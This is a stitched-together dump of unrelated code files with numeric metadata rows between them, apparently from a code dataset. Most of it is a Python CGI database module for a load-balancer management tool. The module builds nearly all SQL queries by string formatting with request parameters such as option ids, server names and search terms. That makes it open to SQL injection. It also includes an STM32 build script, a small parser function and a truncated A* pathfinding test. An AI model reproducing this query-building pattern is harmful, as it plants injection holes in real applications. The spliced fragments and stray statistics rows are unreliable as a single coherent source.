sql = """select * from options where options = '%s' """ % kwargs.get('option')
if kwargs.get('group'):
sql = """select options from options where groups = '{}' and options like '{}%' """.format(kwargs.get('group'), kwargs.get('term'))
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def update_options(option, id):
con, cur = get_cur()
sql = """ update options set
options = '%s'
where id = '%s' """ % (option, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def delete_option(id):
con, cur = get_cur()
sql = """ delete from options where id = %s """ % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def insert_new_savedserver(server, description, group):
con, cur = get_cur()
sql = """insert into saved_servers(`server`, `description`, `groups`) values ('%s', '%s', '%s') """ % (server, description, group)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def select_saved_servers(**kwargs):
con, cur = get_cur()
sql = """select * from saved_servers """
if kwargs.get('server'):
sql = """select * from saved_servers where server = '%s' """ % kwargs.get('server')
if kwargs.get('group'):
sql = """select server,description from saved_servers where groups = '{}' and server like '{}%' """.format(kwargs.get('group'), kwargs.get('term'))
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def update_savedserver(server, description, id):
con, cur = get_cur()
sql = """ update saved_servers set
server = '%s',
description = '%s'
where id = '%s' """ % (server, description, id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def delete_savedserver(id):
con, cur = get_cur()
sql = """ delete from saved_servers where id = %s """ % (id)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
else:
return True
cur.close()
con.close()
def insert_mentrics(serv, curr_con, cur_ssl_con, sess_rate, max_sess_rate):
con, cur = get_cur()
if mysql_enable == '1':
sql = """ insert into metrics (serv, curr_con, cur_ssl_con, sess_rate, max_sess_rate, date) values('%s', '%s', '%s', '%s', '%s', now()) """ % (serv, curr_con, cur_ssl_con, sess_rate, max_sess_rate)
else:
sql = """ insert into metrics (serv, curr_con, cur_ssl_con, sess_rate, max_sess_rate, date) values('%s', '%s', '%s', '%s', '%s', datetime('now', 'localtime')) """ % (serv, curr_con, cur_ssl_con, sess_rate, max_sess_rate)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def select_waf_metrics_enable(id):
con, cur = get_cur()
sql = """ select waf.metrics from waf left join servers as serv on waf.server_id = serv.id where server_id = '%s' """ % id
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_waf_metrics_enable_server(ip):
con, cur = get_cur()
sql = """ select waf.metrics from waf left join servers as serv on waf.server_id = serv.id where ip = '%s' """ % ip
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for enable in cur.fetchall():
return enable[0]
cur.close()
con.close()
def select_waf_servers(serv):
con, cur = get_cur()
sql = """ select serv.ip from waf left join servers as serv on waf.server_id = serv.id where serv.ip = '%s' """ % serv
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_all_waf_servers():
con, cur = get_cur()
sql = """ select serv.ip from waf left join servers as serv on waf.server_id = serv.id """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_waf_servers_metrics(uuid, **kwargs):
con, cur = get_cur()
sql = """ select * from user where username = '%s' """ % get_user_name_by_uuid(uuid)
try:
cur.execute(sql)
except sqltool.Error as e:
print("An error occurred:", e)
else:
for group in cur:
if group[5] == '1':
sql = """ select servers.ip from servers left join waf as waf on waf.server_id = servers.id where servers.enable = 1 and waf.metrics = '1' """
else:
sql = """ select servers.ip from servers left join waf as waf on waf.server_id = servers.id where servers.enable = 1 and waf.metrics = '1' and servers.groups like '%{group}%' """.format(group=group[5])
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_waf_metrics(serv, **kwargs):
con, cur = get_cur()
sql = """ select * from (select * from waf_metrics where serv = '%s' order by `date` desc limit 60) order by `date`""" % serv
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def insert_waf_metrics_enable(serv, enable):
con, cur = get_cur()
sql = """ insert into waf (server_id, metrics) values((select id from servers where ip = '%s'), '%s') """ % (serv, enable)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def delete_waf_server(id):
con, cur = get_cur()
sql = """ delete from waf where server_id = '%s' """ % id
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def insert_waf_mentrics(serv, conn):
con, cur = get_cur()
if mysql_enable == '1':
sql = """ insert into waf_metrics (serv, conn, date) values('%s', '%s', now()) """ % (serv, conn)
else:
sql = """ insert into waf_metrics (serv, conn, date) values('%s', '%s', datetime('now', 'localtime')) """ % (serv, conn)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def delete_waf_mentrics():
con, cur = get_cur()
if mysql_enable == '1':
sql = """ delete from metrics where date < now() - INTERVAL 3 day """
else:
sql = """ delete from metrics where date < datetime('now', '-3 days') """
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def update_waf_metrics_enable(name, enable):
con, cur = get_cur()
sql = """ update waf set metrics = %s where server_id = (select id from servers where hostname = '%s') """ % (enable, name)
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def delete_mentrics():
con, cur = get_cur()
if mysql_enable == '1':
sql = """ delete from metrics where date < now() - INTERVAL 3 day """
else:
sql = """ delete from metrics where date < datetime('now', '-3 days') """
try:
cur.execute(sql)
con.commit()
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
cur.close()
con.close()
def select_metrics(serv, **kwargs):
con, cur = get_cur()
sql = """ select * from (select * from metrics where serv = '%s' order by `date` desc limit 60) order by `date` """ % serv
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_servers_metrics_for_master():
con, cur = get_cur()
sql = """select ip from servers where metrics = 1 """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_servers_metrics(uuid, **kwargs):
con, cur = get_cur()
sql = """ select * from user where username = '%s' """ % get_user_name_by_uuid(uuid)
try:
cur.execute(sql)
except sqltool.Error as e:
print("An error occurred:", e)
else:
for group in cur:
if group[5] == '1':
sql = """ select ip from servers where enable = 1 and metrics = '1' """
else:
sql = """ select ip from servers where groups like '%{group}%' and metrics = '1'""".format(group=group[5])
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_table_metrics(uuid):
con, cur = get_cur()
groups = ""
sql = """ select * from user where username = '%s' """ % get_user_name_by_uuid(uuid)
try:
cur.execute(sql)
except sqltool.Error as e:
print("An error occurred:", e)
else:
for group in cur:
if group[5] == '1':
groups = ""
else:
groups = "and servers.groups like '%{group}%' ".format(group=group[5])
if mysql_enable == '1':
sql = """
select ip.ip, hostname, avg_sess_1h, avg_sess_24h, avg_sess_3d, max_sess_1h, max_sess_24h, max_sess_3d, avg_cur_1h, avg_cur_24h, avg_cur_3d, max_con_1h, max_con_24h, max_con_3d from
(select servers.ip from servers where metrics = 1 ) as ip,
(select servers.ip, servers.hostname as hostname from servers left join metrics as metr on servers.ip = metr.serv where servers.metrics = 1 %s) as hostname,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(), INTERVAL -1 HOUR)
group by servers.ip) as avg_sess_1h,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -24 HOUR)
group by servers.ip) as avg_sess_24h,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(), INTERVAL -3 DAY)
group by servers.ip ) as avg_sess_3d,
(select servers.ip,max(metr.sess_rate) as max_sess_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -1 HOUR)
group by servers.ip) as max_sess_1h,
(select servers.ip,max(metr.sess_rate) as max_sess_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -24 HOUR)
group by servers.ip) as max_sess_24h,
(select servers.ip,max(metr.sess_rate) as max_sess_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -3 DAY)
group by servers.ip ) as max_sess_3d,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -1 HOUR)
group by servers.ip) as avg_cur_1h,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -24 HOUR)
group by servers.ip) as avg_cur_24h,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -3 DAY)
group by servers.ip ) as avg_cur_3d,
(select servers.ip,max(metr.curr_con) as max_con_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -1 HOUR)
group by servers.ip) as max_con_1h,
(select servers.ip,max(metr.curr_con) as max_con_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -24 HOUR)
group by servers.ip) as max_con_24h,
(select servers.ip,max(metr.curr_con) as max_con_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= now() and metr.date >= DATE_ADD(NOW(),INTERVAL -3 DAY)
group by servers.ip ) as max_con_3d
where ip.ip=hostname.ip
and ip.ip=avg_sess_1h.ip
and ip.ip=avg_sess_24h.ip
and ip.ip=avg_sess_3d.ip
and ip.ip=max_sess_1h.ip
and ip.ip=max_sess_24h.ip
and ip.ip=max_sess_3d.ip
and ip.ip=avg_cur_1h.ip
and ip.ip=avg_cur_24h.ip
and ip.ip=avg_cur_3d.ip
and ip.ip=max_con_1h.ip
and ip.ip=max_con_24h.ip
and ip.ip=max_con_3d.ip
group by hostname.ip """ % groups
else:
sql = """
select ip.ip, hostname, avg_sess_1h, avg_sess_24h, avg_sess_3d, max_sess_1h, max_sess_24h, max_sess_3d, avg_cur_1h, avg_cur_24h, avg_cur_3d, max_con_1h, max_con_24h, max_con_3d from
(select servers.ip from servers where metrics = 1 ) as ip,
(select servers.ip, servers.hostname as hostname from servers left join metrics as metr on servers.ip = metr.serv where servers.metrics = 1 %s) as hostname,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-1 hours', 'localtime')
group by servers.ip) as avg_sess_1h,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-24 hours', 'localtime')
group by servers.ip) as avg_sess_24h,
(select servers.ip,round(avg(metr.sess_rate), 1) as avg_sess_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-3 days', 'localtime')
group by servers.ip ) as avg_sess_3d,
(select servers.ip,max(metr.sess_rate) as max_sess_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-1 hours', 'localtime')
group by servers.ip) as max_sess_1h,
(select servers.ip,max(metr.sess_rate) as max_sess_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-24 hours', 'localtime')
group by servers.ip) as max_sess_24h,
(select servers.ip,max(metr.sess_rate) as max_sess_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-3 days', 'localtime')
group by servers.ip ) as max_sess_3d,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-1 hours', 'localtime')
group by servers.ip) as avg_cur_1h,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-24 hours', 'localtime')
group by servers.ip) as avg_cur_24h,
(select servers.ip,round(avg(metr.curr_con+metr.cur_ssl_con), 1) as avg_cur_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-3 days', 'localtime')
group by servers.ip ) as avg_cur_3d,
(select servers.ip,max(metr.curr_con) as max_con_1h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-1 hours', 'localtime')
group by servers.ip) as max_con_1h,
(select servers.ip,max(metr.curr_con) as max_con_24h from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-24 hours', 'localtime')
group by servers.ip) as max_con_24h,
(select servers.ip,max(metr.curr_con) as max_con_3d from servers
left join metrics as metr on metr.serv = servers.ip
where servers.metrics = 1 and
metr.date <= datetime('now', 'localtime') and metr.date >= datetime('now', '-3 days', 'localtime')
group by servers.ip ) as max_con_3d
where ip.ip=hostname.ip
and ip.ip=avg_sess_1h.ip
and ip.ip=avg_sess_24h.ip
and ip.ip=avg_sess_3d.ip
and ip.ip=max_sess_1h.ip
and ip.ip=max_sess_24h.ip
and ip.ip=max_sess_3d.ip
and ip.ip=avg_cur_1h.ip
and ip.ip=avg_cur_24h.ip
and ip.ip=avg_cur_3d.ip
and ip.ip=max_con_1h.ip
and ip.ip=max_con_24h.ip
and ip.ip=max_con_3d.ip
group by hostname.ip """ % groups
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def get_setting(param, **kwargs):
con, cur = get_cur()
sql = """select value from `settings` where param='%s' """ % param
if kwargs.get('all'):
sql = """select * from `settings` order by section desc"""
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
if kwargs.get('all'):
return cur.fetchall()
else:
for value in cur.fetchone():
return value
cur.close()
con.close()
def update_setting(param, val):
con, cur = get_cur()
sql = """update `settings` set `value` = '%s' where param = '%s' """ % (val, param)
try:
cur.execute(sql)
con.commit()
return True
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
cur.close()
con.close()
def get_ver():
con, cur = get_cur()
sql = """ select * from version; """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for ver in cur.fetchall():
return ver[0]
cur.close()
con.close()
def select_roles(**kwargs):
con, cur = get_cur()
sql = """select * from role ORDER BY id"""
if kwargs.get("roles") is not None:
sql = """select * from role where name='%s' """ % kwargs.get("roles")
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_alert(**kwargs):
con, cur = get_cur()
sql = """select ip from servers where alert = 1 """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_keep_alive(**kwargs):
con, cur = get_cur()
sql = """select ip from servers where active = 1 """
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
return cur.fetchall()
cur.close()
con.close()
def select_keealived(serv, **kwargs):
con, cur = get_cur()
sql = """select keepalived from `servers` where ip='%s' """ % serv
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for value in cur.fetchone():
return value
cur.close()
con.close()
def update_keepalived(serv):
con, cur = get_cur()
sql = """update `servers` set `keepalived` = '1' where ip = '%s' """ % serv
try:
cur.execute(sql)
con.commit()
return True
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
cur.close()
con.close()
def select_nginx(serv, **kwargs):
con, cur = get_cur()
sql = """select nginx from `servers` where ip='%s' """ % serv
try:
cur.execute(sql)
except sqltool.Error as e:
funct.out_error(e)
else:
for value in cur.fetchone():
return value
cur.close()
con.close()
def update_nginx(serv):
con, cur = get_cur()
sql = """update `servers` set `nginx` = '1' where ip = '%s' """ % serv
try:
cur.execute(sql)
con.commit()
return True
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
cur.close()
con.close()
def update_haproxy(serv):
con, cur = get_cur()
sql = """update `servers` set `haproxy` = '1' where ip = '%s' """ % serv
try:
cur.execute(sql)
con.commit()
return True
except sqltool.Error as e:
funct.out_error(e)
con.rollback()
return False
cur.close()
con.close()
def check_token_exists(token):
try:
import http.cookies
import os
cookie = http.cookies.SimpleCookie(os.environ.get("HTTP_COOKIE"))
user_id = cookie.get('uuid')
if get_token(user_id.value) == token:
return True
else:
try:
funct.logging('localhost', ' tried do action with wrong token', haproxywi=1, login=1)
except:
funct.logging('localhost', ' An action with wrong token', haproxywi=1)
return False
except:
try:
funct.logging('localhost', ' cannot check token', haproxywi=1, login=1)
except:
funct.logging('localhost', ' Cannot check token', haproxywi=1)
return False
form = funct.form
error_mess = '<span class="alert alert-danger" id="error">All fields must be completed <a title="Close" id="errorMess"><b>X</b></a></span>'
def check_token():
if not check_token_exists(form.getvalue('token')):
print('Content-type: text/html\n')
print("Your token has been expired")
import sys
sys.exit()
def show_update_option(option):
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates/ajax'), autoescape=True)
template = env.get_template('/new_option.html')
print('Content-type: text/html\n')
template = template.render(options=select_options(option=option))
print(template)
def show_update_savedserver(server):
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates/ajax'), autoescape=True)
template = env.get_template('/new_saved_servers.html')
print('Content-type: text/html\n')
template = template.render(server=select_saved_servers(server=server))
print(template)
if form.getvalue('getoption'):
group = form.getvalue('getoption')
term = form.getvalue('term')
print('Content-type: application/json\n')
check_token()
options = select_options(group=group,term=term)
a = {}
v = 0
for i in options:
a[v] = i[0]
v = v + 1
import json
print(json.dumps(a))
if form.getvalue('newtoption'):
option = form.getvalue('newtoption')
group = form.getvalue('newoptiongroup')
print('Content-type: text/html\n')
check_token()
if option is None or group is None:
print(error_mess)
else:
if insert_new_option(option, group):
show_update_option(option)
if form.getvalue('updateoption') is not None:
option = form.getvalue('updateoption')
id = form.getvalue('id')
check_token()
if option is None or id is None:
print('Content-type: text/html\n')
print(error_mess)
else:
update_options(option, id)
if form.getvalue('optiondel') is not None:
print('Content-type: text/html\n')
check_token()
if delete_option(form.getvalue('optiondel')):
print("Ok")
if form.getvalue('getsavedserver'):
group = form.getvalue('getsavedserver')
term = form.getvalue('term')
print('Content-type: application/json\n')
check_token()
servers = select_saved_servers(group=group,term=term)
a = {}
v = 0
for i in servers:
a[v] = {}
a[v]['value'] = {}
a[v]['desc'] = {}
a[v]['value'] = i[0]
a[v]['desc'] = i[1]
v = v + 1
import json
print(json.dumps(a))
if form.getvalue('newsavedserver'):
savedserver = form.getvalue('newsavedserver')
description = form.getvalue('newsavedserverdesc')
group = form.getvalue('newsavedservergroup')
print('Content-type: text/html\n')
check_token()
if savedserver is None or group is None:
print(error_mess)
else:
if insert_new_savedserver(savedserver, description, group):
show_update_savedserver(savedserver)
if form.getvalue('updatesavedserver') is not None:
savedserver = form.getvalue('updatesavedserver')
description = form.getvalue('description')
id = form.getvalue('id')
print('Content-type: text/html\n')
check_token()
if savedserver is None or id is None:
print(error_mess)
else:
update_savedserver(savedserver, description, id)
if form.getvalue('savedserverdel') is not None:
print('Content-type: text/html\n')
check_token()
if delete_savedserver(form.getvalue('savedserverdel')):
print("Ok")
| 28.365116 | 223 | 0.638333 | 7,372 | 48,788 | 4.119778 | 0.035404 | 0.038096 | 0.052748 | 0.058609 | 0.829278 | 0.805769 | 0.76955 | 0.73399 | 0.688617 | 0.661058 | 0 | 0.007759 | 0.210175 | 48,788 | 1,719 | 224 | 28.381617 | 0.780402 | 0.000881 | 0 | 0.752343 | 0 | 0.04083 | 0.422009 | 0.028578 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057564 | false | 0.008701 | 0.008032 | 0 | 0.119813 | 0.018742 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2a0e09e76133e146c4da55d9f084f1d66d03aa16 | 1,739 | py | Python | platform/mcu/stm32f4xx/peripherals/libraries/ucube.py | jinlongliu/AliOS-Things | ce051172a775f987183e7aca88bb6f3b809ea7b0 | [
"Apache-2.0"
] | 54 | 2018-10-10T01:43:10.000Z | 2022-02-26T01:36:40.000Z | platform/mcu/stm32f4xx/peripherals/libraries/ucube.py | IamBaoMouMou/AliOS-Things | 195a9160b871b3d78de6f8cf6c2ab09a71977527 | [
"Apache-2.0"
] | 4 | 2019-04-28T04:07:47.000Z | 2021-07-05T13:30:01.000Z | platform/mcu/stm32f4xx/peripherals/libraries/ucube.py | IamBaoMouMou/AliOS-Things | 195a9160b871b3d78de6f8cf6c2ab09a71977527 | [
"Apache-2.0"
] | 48 | 2018-08-14T07:12:33.000Z | 2022-03-01T03:52:32.000Z | src = Split('''
system_stm32f4xx.c
STM32F4xx_StdPeriph_Driver/src/misc.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_adc.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_can.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_crc.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_dac.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_dbgmcu.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_dma.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_exti.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_flash.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_gpio.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_rng.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_i2c.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_iwdg.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_pwr.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_rcc.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_rtc.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_sdio.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_spi.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_syscfg.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_tim.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_usart.c
STM32F4xx_StdPeriph_Driver/src/stm32f4xx_wwdg.c
''')
component = aos_component('STM32F4xx_Peripheral_Libraries', src)
if aos_global_config.get('HOST_MCU_VARIANT') not in ['STM32F411', 'STM32F401']:
component.add_sources('STM32F4xx_StdPeriph_Driver/src/stm32f4xx_fsmc.c')
if aos_global_config.get('HOST_MCU_VARIANT') == 'STM32F412':
component.add_sources('STM32F4xx_StdPeriph_Driver/src/stm32f4xx_qspi.c')
component.add_global_includes('STM32F4xx_StdPeriph_Driver/inc', '../../../' +aos_global_config.arch +'/CMSIS')
| 48.305556 | 110 | 0.776883 | 219 | 1,739 | 5.753425 | 0.242009 | 0.357143 | 0.47619 | 0.514286 | 0.780159 | 0.757937 | 0.14127 | 0.14127 | 0 | 0 | 0 | 0.110963 | 0.139735 | 1,739 | 35 | 111 | 49.685714 | 0.731283 | 0 | 0 | 0 | 0 | 0 | 0.846463 | 0.673951 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2a11da68bba8faf93b53a90eec95ad0b60f58541 | 101 | py | Python | peco/parser/read_at.py | Tikubonn/peco | c77fc163ad31d3c271d299747914ce4ef3386987 | [
"MIT"
] | null | null | null | peco/parser/read_at.py | Tikubonn/peco | c77fc163ad31d3c271d299747914ce4ef3386987 | [
"MIT"
] | null | null | null | peco/parser/read_at.py | Tikubonn/peco | c77fc163ad31d3c271d299747914ce4ef3386987 | [
"MIT"
] | null | null | null |
from peco.template import TextNode
def read_at(preread, stream, parser):
return TextNode("@")
| 14.428571 | 37 | 0.722772 | 13 | 101 | 5.538462 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168317 | 101 | 6 | 38 | 16.833333 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.01 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
2a74892960ef59aac7095ea2d6b9909c47a92b5f | 2,507 | py | Python | test/test_AStarPython.py | tianyuzhou-sam/astar-algorithm-cpp | 056ef5b8dd5644bbc0ee1548f2be00461132ceec | [
"MIT"
] | 1 | 2021-03-25T02:28:52.000Z | 2021-03-25T02:28:52.000Z | test/test_AStarPython.py | tianyuzhou-sam/astar-algorithm-cpp | 056ef5b8dd5644bbc0ee1548f2be00461132ceec | [
"MIT"
] | null | null | null | test/test_AStarPython.py | tianyuzhou-sam/astar-algorithm-cpp | 056ef5b8dd5644bbc0ee1548f2be00461132ceec | [
"MIT"
] | 1 | 2022-02-03T04:32:29.000Z | 2022-02-03T04:32:29.000Z | #!/usr/bin/env python3
import os
import sys
sys.path.append(os.getcwd()+'/build')
import AStarPython
if __name__ == "__main__":
# define the world map
map_width = 20
map_height = 20
world_map = [
# 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, # 00
1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1, # 01
1,9,9,1,1,9,9,9,1,9,1,9,1,9,1,9,9,9,1,1, # 02
1,9,9,1,1,9,9,9,1,9,1,9,1,9,1,9,9,9,1,1, # 03
1,9,1,1,1,1,9,9,1,9,1,9,1,1,1,1,9,9,1,1, # 04
1,9,1,1,9,1,1,1,1,9,1,1,1,1,9,1,1,1,1,1, # 05
1,9,9,9,9,1,1,1,1,1,1,9,9,9,9,1,1,1,1,1, # 06
1,9,9,9,9,9,9,9,9,1,1,1,9,9,9,9,9,9,9,1, # 07
1,9,1,1,1,1,1,1,1,1,1,9,1,1,1,1,1,1,1,1, # 08
1,9,1,9,9,9,9,9,9,9,1,1,9,9,9,9,9,9,9,1, # 09
1,9,1,1,1,1,9,1,1,9,1,1,1,1,1,1,1,1,1,1, # 10
1,9,9,9,9,9,1,9,1,9,1,9,9,9,9,9,1,1,1,1, # 11
1,9,1,9,1,9,9,9,1,9,1,9,1,9,1,9,9,9,1,1, # 12
1,9,1,9,1,9,9,9,1,9,1,9,1,9,1,9,9,9,1,1, # 13
1,9,1,1,1,1,9,9,1,9,1,9,1,1,1,1,9,9,1,1, # 14
